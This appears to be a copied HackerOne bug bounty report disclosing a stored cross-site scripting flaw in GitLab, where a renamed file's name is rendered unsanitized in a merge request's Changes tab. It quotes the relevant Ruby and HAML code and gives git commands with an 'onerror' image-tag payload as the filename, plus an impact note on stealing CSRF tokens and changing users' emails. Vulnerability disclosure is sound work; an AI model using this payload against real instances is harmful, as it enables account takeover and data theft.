Stored XSS in filename inside Changes-tab of Merge Request when renaming file
By: @fransrosen
https://hackerone.com/reports/303384
When renaming a file, the file header shows a diff between the new and the old name on the /frans/test/merge_requests/3/diffs
-page. When the diff is in the name (file was moved) the names of the file is not sanitized properly, triggering javascript inside the filename when accessing the /diffs
-endpoint.
I'm not that great on how HAML works, but my guess is it has something to do with the _file_header.html
-file located here:
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/views/projects/diffs/_file_header.html.haml#L19
- old_path, new_path = mark_inline_diffs(diff_file.old_path, diff_file.new_path)
%strong.file-title-name.has-tooltip{ data: { title: diff_file.old_path, container: 'body' } }
= old_path
→
%strong.file-title-name.has-tooltip{ data: { title: diff_file.new_path, container: 'body' } }
= new_path
And the mark_inline_diffs
:
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/helpers/diff_helper.rb#L2
def mark_inline_diffs(old_line, new_line)
old_diffs, new_diffs = Gitlab::Diff::InlineDiff.new(old_line, new_line).inline_diffs
marked_old_line = Gitlab::Diff::InlineDiffMarker.new(old_line).mark(old_diffs, mode: :deletion)
marked_new_line = Gitlab::Diff::InlineDiffMarker.new(new_line).mark(new_diffs, mode: :addition)
[marked_old_line, marked_new_line]
end
My guess is that one step of sanitizing the output of mark_inline_diffs
is missing because looking at the other functions in:
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/app/helpers/diff_helper.rb#L2
we see that they actually go html_safe
on them, but the mark_inline_diffs
does not.
PoC
Create a new repo in Gitlab.
Clone it locally and do:
touch "test.txt";
git add test.txt;
git commit -am "test";
git push --set-upstream origin master;
git co -b poc;
mv test.txt "<img src=x onerror=alert(document.domain)>";
git add .
git commit -m "test2";
git push --set-upstream origin poc
Now create a Merge Request from poc
to master
. Look at the Changes
-tab and the javascript will trigger. This tab is accessible directly using /diffs
-route of the merge-request.
Impact
The stored XSS is triggering for anyone, also triggering on gitlab.com, and it can trigger on public repos. You could easily build a PoC that would modify the email address of the current user stealing their CSRF-token as soon as the script triggers, or stealing information about private repositories.